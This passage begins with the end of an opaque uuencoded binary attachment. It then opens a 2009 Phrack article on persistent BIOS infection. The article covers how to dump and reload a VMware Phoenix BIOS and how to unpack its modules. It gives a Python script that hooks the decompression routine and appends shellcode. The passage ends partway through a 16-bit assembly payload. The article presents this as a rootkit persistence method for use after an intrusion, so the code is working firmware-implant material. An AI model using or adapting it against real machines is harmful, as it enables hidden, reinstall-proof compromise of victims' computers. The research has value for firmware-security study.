[#\\*93M1XGPMAC8[R4+^ZD%0YDD*;%`9J"M/D@^*,"2?7)D7X(&\QOH!9PY
CL-]>,$\;Q]U&F]0>%R`5-C.N&*Q:"!+5@)BV:)26X6)'WF7/G!&E`/$5I&K
'+QZ<_P]VUD_<&,(?8#64=QK]X4GGNF%RJ*.:=NP=W(SLX"I,]M8",K0AEVW
^#\$K;J5@=PW/K*%!S+&C"$24)`M@S#IV\JO$4VC#$M-86S*DDMH0_QPOOCP
03S&]#GX02HE`CEN$J0OH+C>APT;&Q8@"E]%,BXD;9DET3GK'G<R6W0"Z#1`
_9ZT)%;<LT'`7@7[R@#@@$#*8*<1B"/<*OZ)F_G91%,@]+G\G)"R+:QJTDR'
X!+--+!6<R6X5A,!5^=TF2@0!V,-9I/Z*NX%VLSW%LC-T,^F=)4KSP?)Q*KJ
3>RNU.WF;MH""]=HWLLPDHIM0*L@O%.N:32H$*XT+%EF?34\0<%W-(D'ZJ'&
U.3)3P":R>NM\7]M_T_$>N>!]_]FO4[^_V;5;($40/M_W:JM]_]_J_T_2QK+
_'L^,@"8RD'@7\LP5HHE*NK>Y1"8\L3W6/5(V`Z9=>,0M>Y0DA%*.=^!O6%@
`-DGH\DHKBA;)7X724?1!H6VE5O4<#:_WR0N^=X;!=PNO&P>;;(0`'STTJ9D
=NOS;NMP/WN4,<4]*8TWW@C[Y+#8`KW]V:KNOML7B2"CNM#&'E#J8!2@81M@
$X?%+Y!;H.0B=VU'6&:UOL^;.F2`E(+%BN*Y,+E-H<$]VMRG%(*TTT[K?D3P
_7_(,"A`MTJIRR@&R0GS(W\,J(T',[DEL?&D4AT\<39**>"2:K"HR381BFC0
"E/UI:?LGZZ'L1B.%'T9WTCIYXS`NMV9=GHV"0/1%4%QN<5(,8^-I*#LDD6/
2E?2H)+(ALER![6E\YZV/6&/H@!@C&4(!+V2+E*2Q"@T^%$KO:1GA7GR4YZ^
V%J)J5PB`U0J@RX0K,A(U>;A].*@!\)A@?9O-/80U@8IND%``HQOZ/:K)Y7=
T>T\:Q=EO/45*5*(W"D6Q0B/;?KHP=BI:94[TRI!F=/RK-EL8<.8SPWS;&US
E\M"R4+S!ZH`EI,&V^+):)(WN#V)BFE["+*4IT)^.?("+*I%PG">B5?=SFDF
J*JE,@\%"@G'02RD'TPNAYH%+)/-69B%3A7WITFNUE<FLK;3\5-:N@K:W']M
W9C:JCE((YO8Q\#>@"@--IRR-D)VZ*'D%S$+S)EYT?SE8CQE?)\'ALWZB2D=
X&3&=&W14-L]:G>%%4/X*XDK^_:^I;)X2BXVLS(-2/RE\@<V^GYLX<J1UY<A
6>S8V2@29Z.(`G8BW`R!"3'ZR.?HDL>1P"!V%`=2*\Z=A.Q!83\EH!7)0KM.
B8R,,%_<"-6GF]"+8\(>X"_.7"-VYFUCIR5MD2B!DVK!LT.Y\;/I4\Z6F#Y.
<J9-KA#8]%3([+GR[Q-8@$H-0P>*C.+$K\>;!<42=/P`O12SB().9G@<W64\
5*!38ZKKD=YU^E[6QK2<P(FUFEE`E'_#%^`)>99#-4I:RZ6LX>7\31G9&?CV
5-/ME/'E;.N45)S']+3.Y+,`]$Q'%8=<&1';4ZA@WJCU#%Z+]^%E*B_IUQRD
::L(MT_T<!&7F.,,R":P8']D+.J:=0>Y!@%"XP&&"G!1CLSL>Y<TR\)L?M9O
-1.+$O^P!;6;L[1!?5)C]R7,46C0&_$L1/.$C0C*BV/%H\Y/A;K8TLPM)5&;
%T>G]HML\CXC@!\^Z)/[69Z%K["/'*3CQI6:[6P>8@A8NN?JY'S>SE-49.0A
!KIPMU%DZT3`$A(NE8A`?5C.)`@%[QFI@2_GH%$<#M!_R5PK1%>P/YC@OD'.
3WLT8IYY9;,K%&@^P2D2E^`/]@\O1-_M-:B%Z&V^L>]2NO"D:>MX+.?Q2.(O
()]+/A/51G,!:AFI;WP.KW0%I`6\#8L%F)D+X%[W5D:HG/"AMK*\P$&)Q>+L
/OZ_HO]KH7X/&_]IM9J)_;_>,)/XSW7\_X/&_Y^_ZKY^?7#R(G\,()=JR-M8
PKJ8#O+<3S)F(QGS,<@ZM-E0Y/7SKUW_8_DEG'_WKG_+JM6M]/Q/"[[3^9_F
>OW_V\5_S[7YK6`K5`>&$O>A/QVZ4!%GBZ-#;=(^5>B6%Z$DHIWG07L&1KQ1
#"M(C,,X49`YDA5T)88%`E-?HDQ%PA#K/:CUK';L0G-<)GXS\F"R_[*DW#%+
%6.1^&S:,\=)6*3B^-:HF'E#E;L/I&%NNNAP`)\"M"VLU*Z'!8KP*'EK3!)5
82,;V9[@RAM+A$_21E^<G"=./F5>2*,UE:=)=]+NYSU/((^&<>J4S9V:VC>6
.%F;9E$KSTXH;FA[.EGK:I2<13CMJBXO\(4E'=*/82WHN>H0>7SS9ZZ65V@6
4]E8$7*?.TK8?HDJ%0<<LJDS.>"F)GK@QS;,WQG+#@9;2I=`X'$WM$^P+1S?
```

```
MQFQQ32).T:!*!@P[3GVS>&0JM089R0DL)1/;`W*5#F=[5L"36(GQ+E5KE(6>
MP*!M@6,BBZF&L!@Y52)O[BS9MDA&M>C`U+Y8#K.JD6CJV)LV>;0S7KFY,S7D
MRL(A\,S)G9-;.I4MF@E3Q\_V,^7N7,6QHZ&'X[9&``;C@I5ML"(ZHWA(-DM`
M\!UI<=YH)"_18LJ1:02(`MG](%8:-6OY7FIAQ&J@=\.B_>X.C8_7GHOLKQ^0
M&JB:Y#F1ZN_`3Y2Z"1V\3DSQI.TCN/>>[X[N8%Z,[2A""[Q8M-P4+FI$(VLI
MOFK-M(PBV=0\639%$HJFP>79.0$]V@*=.*'OC.^P35`>*S%(K!LEL5M<3LKJ
M`E+>0_SE`^;%,`>J&OZT38--;OE(EARC`3V\!LG;VZGO*/'\T&AW<<!CVWU2
ML5P8L[=MJ2U@87MJ0YC"&9F=4J31,O+(`H)83^S68I.*;2(#TXW7E7MFRF[*
M/I69\5ZRF"L0PER!$.8RU(LY>(A6PT/T!_$0K8B'1/2X%QDK0F6L9%"7H$;;
MX/XRN1HG%FK@*R&P'`S%(2XW'MGJJ(VG+E[0]S*/=ZW$$\G[(!Z$N/0<X4^N
M^K#1V)&X`3F4#E'XR>;&VQH9_V=L_GH7T`?"Q$D#=]3NBMU0[#]A9;IL`\A8
MOO:55,9US%OY=#D5$*]3)X;+C+WIP\IEC`-O)-PMA^#<SIYA]R(W'&U[9G$!
MSRVP(<Z3(U<W'3KD6^T'DSB9PJH%A:/N^2&0+8DE"UD627CLK(!(`=MTX,7+
M&1/["#_.A`FU@V%X6@8[@;L)LGHP0='.H]M`YI(FC\G[,9\)S;I@UM&CI'GC
MG*@3:\!RU;152C+>=8`&U$$HT1W'>D8J#:&G)7'*5,2<K5'-%M4G\[;5YZA"
MN;NT\U#0F0X_9`6A@!XJ64!U)5%*>)"@!CQ.!CRM$5"=1`F@D:AHRT5JP729
M>4[.;/?-F5_Y?#J='4+'G!-/Z.0.!1&@H*JFCZ(Z`/)M=$HQAU5:&4R6.UU!
M*Z8NS)4.P2]2W.[5L3)NN;VJEL4]N5_1FM:?5$`F;2_F[5-3=_L0$#U0E$JI
X_TS:R)OCM?Y,ZY+D-^O>[IVD4Q;/YFUR4Z6D@HT[<RBQVN6N.ZOP(TP\C$Y
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
MJU5M-FK5%ME_FZW&^O=?']C^/^\'%!["_M<R^?QWJU:KUZT:TK]9KZU____5!
M]/_'=+<_Z--#X[1S\>J\_0M=5O_-;_CV47P0>!HBVMG<V]S9%)L[E[\8Z.0]
MQ9``+G/^<5^XZ/JD>BS_23MTR'',I3YN$"L6/XORK=C`A/3'!#;$NWT27U@X
```

~~~
M24&<O!<#/'`*B0U"R,C)'3Q@N_D@!_2K&^4'GN)V#:H#8`%K0J4&-/L9FO_DM
M*?I1:S)K\,#V49)280OI;QT`<NSP;H.V6"\V!IYAG'4O7I\<M'\)^K^Z>"BG
M?)8#_D'(RU".00M'%O[-!B0XDUB470'X0\7<^L7(FGT3R41,-F^_^8UAPVB3
M$2""U?>D"?7*18W/O_YQ[/9U&313JYSII96Q#5K;EUC_U7JKJO@_;`!U3*^:
MK>IZ_3_$@S\^H1%\9^3U^96N`WET,9'B+Q-?6$^%U=JKU?>L7?S%Y9:QO;VM
MURM?!2#\>]*=`:!^7QKK67N-UI[5H)]L-K[]5I2;9KUD5<4V?E:KXMMO#39P
M)!)O;TAR;D$%.HQES[L"K:6G9V\5R7BB=#<_+V?SA:>+ZM)E3\8V-HANR3??
MOT%E:'NNS*>U4=S+M,T"Z9^W1;W'K)/RU9K;CWQ-QUBA2[^GBMXX#&F;<4B:
MOY:!TNPC'(;;O[R*+@L;!Q3IDT9J:5>-3QVA5O+IH^3*^]>][E'W2-D>/B8T
M`_FZIVMNJLO8HI:U*KVFJA5I7)^'5'I'5Z75='<^L72NS<1JDY$IE_M'Z80+
MR[*:3TM-L6U9K:<ERZ25]>B1IJ?D>\-9,^1]].@C(OW1(QWECQ[=A_!9C+NS
M27$0VZ.I)10Z>7)0KU3`F1YWEGY$ZB+$!:^A0PL<Q@%B0&[0/^./.ECO*F'T
M#]#T@L&`;!]XHIIO"IQ?\CFW4$2(O_V7Q`7-D_^1A9>KE689)\L?V/=7W?^K
MZO<_6?^C^/]6M;7>_Q]J_T\)OL/QS.H#=F_<ZLMFHPR;MEG?:UA[5JN2ZNQB
MVZR9)DD"V91)Y8`YH';+YM.R50-98*]:W:O69D`AZZHW&E5D7?2I6)<0:)X%
MQE?E2!SXQDQ4&<[XKE*T7(V3+3V_2P"3!:U6^M>%#4S=*!87[!W8SI-Q9L>#
M-S?E4&2J'"<F9&7'H]T66GOMQ?&(SC)/PC06/;FC@'Y?<#@)X^3J733"[:7'
MQ]/H<>#I?)7G36B/QWCI"NE`RFXL_33`.S'(TZ65%2/]8<Z03W]R'"\P,G;0
M1L&5<A^JT%KNUA5=EP4-@;K&N&_66X3[9L,J69;"/:ENA5ZO/_%&L>?W^+XA
M4?#E;4R83VY:;=,Q#32>]L[_5A(F,DI@I_-K4I7G;0$"Y//H+HKE50_(BK6*
MB5/C-R;2O$U?[9QSB:J\+=.D3;N;D3CMQRR9=5!"I'5+8FK4,PD\)1Y!FQ&=
ML]W@VP+VTGMBL;PZ].'C3!@5T<WRZ#+`TR$A$#Q.O3H?%55V3:;*[E.=*FRZ
M3[[W'1P8J(9!&$N7[;U1P;[.!*=Y6%R&PQD,3@,O$B;9?^N\Q[M;MY/>#&[0
MS@NIY>?L&:5GC&^0#KEZ6O\]E]U?']-;/^MG_:R?];-^UL_Z63_K9_VLG_6S
7?M;/^ED_ZV?]K)_/]OP_+L#]0P"@````
`
end
~~~

--------[EOF

==Phrack Inc.==

Volume 0x0d, Issue 0x42, Phile #0x07 of 0x11

```
|=-----------------------------------------------------------------------=|
|=---------------------=[  Persistent BIOS Infection   ]=-----------------=|
|=------------------=[ "The early bird catches the worm" ]=---------------=|
|=-----------------------------------------------------------------------=|
|=----------------=[  .aLS - anibal.sacco@coresecurity.com  ]=------------=|
|=----------------=[   Alfredo - alfredo@coresecurity.com   ]=------------=|
|=-----------------------------------------------------------------------=|
|=--------------------------=[ June 1 2009 ]=----------------------------=|
|=-----------------------------------------------------------------------=|
```

------[Index

------[0.- Foreword

Dear reader, if you're here we can assume that you already know what the BIOS is and how it works. Or, at least, you have a general picture of what the BIOS does, and its importance for the normal operation of a computer. Based on that, we will briefly explain some basic concepts to get you into context and then we'll jump to the, more relevant, technical stuff.

------[1.- Introduction

Over the years, a lot has been said about this topic. But, apart of the old Chernobyl virus, which just zeroed the BIOS if you motherboard was one of the supported, or some modifications with modding purposes (that were a very valuable source of data, btw) like Pinczakko's work, we wouldnt be able to find any public implementation of a working, generical and malicious BIOS infection.

Mostly, the people tends to think that this is a very researched, old and already mitigated technique. It is sometimes even confused whith the obsolet MBR viruses. But, is our intention to show that this kind of attacks are possible and could be, with the aproppiated OS detection and infection techniques, a very trustable and persistent rootkit residing just inside of the BIOS Firmware.

In this paper we will show a generic method to inject code into unsigned BIOS firmwares. This technique will let us embedd our own code into the BIOS firmware so that it will get executed just before the loading of the operating system.

We will also demonstrate how having complete control of the hard drives allows us to leverage true persistency by deploying fully functional code directly into a windows process or just by modifying sensitive OS data in a Linux box.

---[1.1 - Paper structure

The main idea of this paper is to show how the BIOS firmware can be modified and used as a persistence method after a successful intrusion.

So, we will start by doing a little introduction and then we will focus the paper on the proof of concept code, splitting the paper in two main sections:

- VMWare's (Phoenix) BIOS modification

- Real (Award) BIOS modification

In each one we will explain the payloads to show how the attack is done, and then we'll jump directly to see the payload code.

------[2.- BIOS Basics

---[2.1 - BIOS introduction

From Wikipedia [1]:

> "The BIOS is boot firmware, designed to be the first code run by a PC when powered on. The initial function of the BIOS is to identify test, and initialize system devices such as the video display card, hard disk, and floppy disk and other hardware. This is to prepare the machine into a known state, so that software stored on compatible media can be loaded, executed, and given control of the PC.[3] This process is known as booting, or booting up, which is short for bootstrapping."
>
> "...provide a small library of basic input/output functions that can be called to operate and control the peripherals such as the keyboard, text display functions and so forth. In the IBM PC and AT, certain peripheral cards such as hard-drive controllers and video display adapters carried their own BIOS extension ROM, which provided additional functionality. Operating systems and executive software, designed to supersede this basic firmware functionality, will provide replacement software interfaces to applications.

---[2.1.1 - Hardware

Back in the 80's the BIOS firmware was contained in ROM or PROM chips, which could not be altered in any way, but nowadays, this firmware is stored in an EEPROM (Electrically Erasable Programmable Read-Only Memory). This kind of memory allows the user to reflash it, allowing the vendor to offer firmware updates in order to fix bugs, support new hardware and to add new functionality.

---[2.1.2 - How it works?

The BIOS has a very important role in the functioning of a computer.
It should be always available as it holds the first instruction executed by the CPU when it is turned on. This is why it is stored in a ROM.

The first module of the BIOS is called Bootblock, and it's in charge of the POST (Power-on self-test) and Emergency boot procedures. POST is the common term for a computer, router or printer's pre-boot sequence. It has to test and initialize almost all the different hardware components in the system to make sure everything is working properly.

The modern BIOS has a modular structure, which means that there are several modules integrated on the same firmware, each one in charge of a different specific task; from hardware initialization to security measures.

Each module is compressed, therefore there is a decompression routine in charge of the decompression and validation of the others modules that will be subsequently executed.

After decompression, some other hardware is initialized, such as PCI Roms (if needed) and at the end, it reads the sector 0 of the hard drive (MBR) looking for a boot loader to start loading the Operating System.

---[2.2 - Firmware file structure

As we said before, the BIOS firmware has a modular structure. When stored in a normal plain file, it is composed of several LZH compressed modules, each of them containing an 8 bit checksum.

However, not all the modules are compressed, a few modules like the Bootblock and the Decompression routine are obviously uncompressed because they are a fundamental piece of the booting process and must perform the decompression of the other modules. Further, we will see why this is so convenient for our purposes.

Here we have the output of Phnxdeco (available in the Debian repositories), an open source tool to parse and analyze the Phoenix BIOS Firmware ROMs (that we'll going to extract at 3.1.1):

```
+-------------------------------------------------------------------------+
| Class.Instance (Name)     Packed --->  Expanded      Compression  Offse |
+-------------------------------------------------------------------------+

B.03 (    BIOSCODE)   06DAF (28079) => 093F0 ( 37872)  LZINT ( 74%)  446DFh
B.02 (    BIOSCODE)   05B87 (23431) => 087A4 ( 34724)  LZINT ( 67%)  4B4A9h
B.01 (    BIOSCODE)   05A36 (23094) => 080E0 ( 32992)  LZINT ( 69%)  5104Bh
C.00 (      UPDATE)   03010 (12304) => 03010 ( 12304)   NONE (100%)  5CFDFh
X.01 (     ROMEXEC)   01110 (04368) => 01110 (  4368)   NONE (100%)  6000Ah
T.00 (    TEMPLATE)   02476 (09334) => 055E0 ( 21984)  LZINT ( 42%)  63D78h
S.00 (     STRINGS)   020AC (08364) => 047EA ( 18410)  LZINT ( 45%)  66209h
E.00 (       SETUP)   03AE6 (15078) => 09058 ( 36952)  LZINT ( 40%)  682D0h
```

```
M.00 (       MISER)   03095 (12437) => 046D0 ( 18128)  LZINT ( 68%)  6BDD1h
L.01 (        LOGO)   01A23 (06691) => 246B2 (149170)  LZINT (  4%)  6EE81h
L.00 (        LOGO)   00500 (01280) => 03752 ( 14162)  LZINT (  9%)  708BFh
X.00 (     ROMEXEC)   06A6C (27244) => 06A6C ( 27244)   NONE (100%)  70DDAh
B.00 (    BIOSCODE)   001DD (00477) => 0D740 ( 55104)  LZINT (  0%)  77862h
*.00 (      TCPA_*)   00004 (00004) => 00004 (   004)   NONE (100%)  77A5Ah
D.00 (     DISPLAY)   00AF1 (02801) => 00FE0 (  4064)  LZINT ( 68%)  77A79h
G.00 (  DECOMPCODE)   006D6 (01750) => 006D6 (  1750)   NONE (100%)  78585h
A.01 (        ACPI)   0005B (00091) => 00074 (   116)  LZINT ( 78%)  78C76h
A.00 (        ACPI)   012FE (04862) => 0437C ( 17276)  LZINT ( 28%)  78CECh
B.00 (    BIOSCODE)   00BD0 (03024) => 00BD0 (  3024)   NONE (100%)  7D6AAh
```

We can see here the different parts of the Firmware file, containing the DECOMPCODE section, where the decompression routine is located, as well as the other not-covered-in-this-paper sections.

---[2.3 - Update/Flashing process

The BIOS software is not so different from any other software. It’s prone to bugs in the same way as other software is.
Newer versions come out adding support for new hardware, features and fixing bugs, etc. But the flashing process could be very dangerous on a real machine. The BIOS is a fundamental component of the computer. It’s the first piece of code executed when a machine is turned on. This is why we have to be very carefully when doing this kind of things. A failed BIOS update can -and probably will- leave the machine unresponsive. And that just sucks.

That is why it’s so important to have some testing platform, such as VMWare, at least for a first approach, because, as we’ll see, there are a lot of differences between the vmware version vs. the real hardware version.

------[3.- BIOS Infection

---[3.0 - Initial setup

---[3.1 - VMWare’s (Phoenix) BIOS modification

First, we have to obtain a valid VMWARE BIOS firmware to work on.

In order to read the EEPROM where the BIOS firmware is stored we need to run some code in kernel mode to let us send and receive data directly to the southbridge through the IO Ports. To do this, we also need to know some specific data about the current hardware. This data is usually provided by the vendor. Furthermore, almost all motherboard vendors provide some tool to update the BIOS, and very often, they have an option to backup or dump the actual firmware.

In VMWare we can’t use this kind of tools, because the emulated hardware doesn’t have the same functionality as the real hardware. This makes sense... why would someone would like to update the VMWare BIOS from inside...?

---[3.1.1 - Dumping the VMWare BIOS

When we started this, it was really helpful to have the embedded gdb server that VMWare offers. This let us debug and understand what was happening.
So in order to patch and modify some little pieces of code to start testing, we used some random byte arrays as patterns to find the BIOS in memory.
Doing this we found that there is a little section of almost 256kb in vmware-vmx, the main vmware executable, called .bios440
(that in our vmware version is located between the file offset

0x6276c7-0x65B994) that contains the whole BIOS firmware, in the same way as it is contained in a normal file ready to flash.

You can use objdump to see the sections of the file:

```
objdump -h vmware-vmx
```

And you can dump it to a file using the objcopy tool:

```
objcopy -j .bios440 -O binary --set-section-flags .bios440=a \
vmware-vmx bios440.rom.zl
```

Umm... this means that... if we have root privileges in the victim machine, we could use our amazing power to modify the vmware-vmx executable, inserting our own infected bios and it will be executed each time a vmware starts, for every vmware of the computer. Sweet!

But, there are simpler ways to accomplish this task. We are going to modify it a lot of times and it is not going to work most of the times so.. the simpler, the better.

---[3.1.2 - Setting up VMWARE to load an alternate BIOS

We found that VMWare offers a very practical way to let the user provide an specific BIOS firmware file directly through the .VMX configuration file.

This not-so-known tag is called "bios440.filename" and it let us avoid using VMWare's built-in BIOS and instead allows us to specify a BIOS file to use.

You have to add this line in your .VMX file:

```
        bios440.filename = "path/to/file/bios.rom"
```

And, voila!, now you have another BIOS firmware running in your VM, and in combination with:

```
        debugStub.listen.guest32 = "TRUE" or
        debugStub.listen.guest64 = "TRUE"
```

that will leave the VMWare's gdb stub waiting for your connection on localhost on port 8832. You will end up with an excellent -and completely debuggable- research scenery. Nice huh?

Other important hidden tags that can be useful to define are:

```
        bios.bootDelay = "3000"                  # To delay the boot X
                                                   miliseconds
        debugStub.hideBreakpoints = "TRUE"       # Allows gdb breakpoints
                                                   to work
        debugStub.listen.guest32.remote = "TRUE" # For debugging from
                                                   another machine (32bit)
        debugStub.listen.guest64.remote = "TRUE" # For debugging from
                                                   another machine (64bit)
        monitor.debugOnStartGuest32 = "TRUE"     # This will halt the VM
                                                   at the very first
                                                   instruction at 0xFFFF0
```

---[3.1.3 - Unpacking the firmware

As we mentioned before, some of the modules are compressed with an LZH variation. There are a few available tools to extract and decompress each individual module from the Firmware file. The most used are Phnxdeco and Awardeco (two excellent linux GPL tools) together with Phoenix BIOS Editor and Award BIOS editor (some non GPL tools for windows).

You can use Phoenix BIOS editor over linux using wine if you want. It will extract all the modules in a /temp directory inside the Phoenix BIOS editor ready to be open with your preferred disassembler.

The great news about Phoenix BIOS Editor is that it can also rebuild the main firmware file. It can recompress and integrate all the different decompressed modules to let it just as it was at the beggining.
The only thing is that it was done for older Phoenix BIOSes, and it misses the checksum so we will have to do it by ourselves as we’ll see at 3.2.2.1

Some of these tasks are done by isolated tools that can be invoked directly from a command line, which is very practical in order to automate the process with simple scripts.

---[3.1.4 - Modification

So, here we are. We have all the modules unpacked, and the possibility of modifying them, and then rebuild them in a fully working BIOS flash update.

The first thing to deal with now is ’where to patch’. We can place a hook in almost any place to get our code executed but we have to think things through before deciding on where to patch.

At the beginning we thought about hooking the first instruction executed by the CPU, a jump at 0xF000:FFF0. It seemed to be the best option because it is always in the same place, and is easy to find but we have to take into consideration the execution context. To have our code running there should imply doing all the hardware initialization by ourselves (DRAM, Northbridge, Cache, PCI, etc.)

For example, if we want to do things like accessing the hard drive we need to be sure that when our code gets executed it already has access to the hard drive.

For this reason, and because it doesn’t change between different versions, we’ve chosen to hook the decompression routine. It is also very easy to find by looking for a pattern. It is uncompressed, and is called many times during the BIOS boot sequence letting us check if all the needed services are available before doing the real stuff.

Here we have a dump script to quickly extract the firmware modules, assemble the payloads, inject it, and reassemble the modified firmware file.

PREPARE.EXE and CATENATE.EXE are propietary tools to build phoenix firmware that you can find inside the Phoenix BIOS Editor and packaged with other flashing tools.

In later versions of this script this tools arent needed anymore. (as seen at 3.2.2.1)

```
#!/usr/bin/python import os,struct

#--------------------------- Decomp processing -------------------------------
#assemble the whole code to inject
os.system(’nasm ./decomphook.asm’)
decomphook = open(’decomphook’,’rb’).read()
print "Leido hook: %d bytes" % len(decomphook)
minihook = ’\x9a\x40\x04\x3b\x66\x90’ # call near +0x430
```

```
#Load the decompression rom
decorom = open('DECOMPC0.ROM.orig','rb').read()

#Add the hook
hookoffset=0x23
decorom = decorom[:hookoffset]+minihook+decorom[len(minihook)+hookoffset:]

#Add the shellcode
decorom+="\x90"*100+decomphook
decorom=decorom+'\x90'*10

#recalculate the ROM size
decorom=decorom[:0xf]+struct.pack("<H",len(decorom)-0x1A)+decorom[0x11:]

#Save the patched decompression rom
out=open('DECOMPC0.ROM','wb')
out.write(decorom)
out.close()

#Compile
print "Prepare..."
os.system('./PREPARE.EXE ./ROM.SCR.ORIG')
print "Catenate..."
os.system('./CATENATE.EXE ./ROM.SCR.ORIG')
os.system('rm *.MOD')
```

---[3.1.5 - Payload

Before talking about the payload, we have to resolve *where* are we going to store our payload, and this is not a trivial task. We found that there is a lot of padding space at the end of the decompression routine that, when allocated, will be used as a buffer to hold the decompressed code. Trashing in this way, any code that we can store there. This adds a bit of complexity to the payload, because it makes us split the shellcode in two stages.

The first one gets executed by setting a very typical hook in the prolog of the decompression routine. A simple relative call that redirects the execution flow to our code and moves the second stage to a safe hardcoded place that we know remains unused during the whole boot process. Then, updates the hook making it point to the new address and executes the instructions smashed by the original call

```
                 __________________________________
                |                                  |
                |              HOOK                +-->---.
                |..................................|      |
           .--->|                                  |      |
           |    |                                  |      |
           |    |       DECOMPRESSION BLOCK        |      |
           |    |                                  |      |
           |    |                                  |      |
           |    |__________________________________|      |
           |    |                                  |<-----'
           |    |       First Stage Payload        |
           |    |       (Moves second stage        |
           |    |         to a safe place          |
           |    |       and updates the hook)      |
           |    |                                  |
           |    |..................................|
           `--<-+       Code smashed by hook       |
                |__________________________________|
                |                                  |
                |       Second Stage Payload       |
                |                                  |
                |                                   |
                |___________________________________|
```

Lets see the code:

```
        |------------------------------------------------------------|

BITS 16

;Extent to search (in 64K sectors, aprox 32 MB)
%define EXTENT 10

start_mover:

   ;save regs
   ;jmp start_mover
    pusha
    pushf

   ; set dst params to move the shellcode
    xor ax, ax
    xor di, di
    xor si, si
    push cs
    pop ds
    mov es, ax ; seg_dst
    mov di, 0x8000 ; off_dst
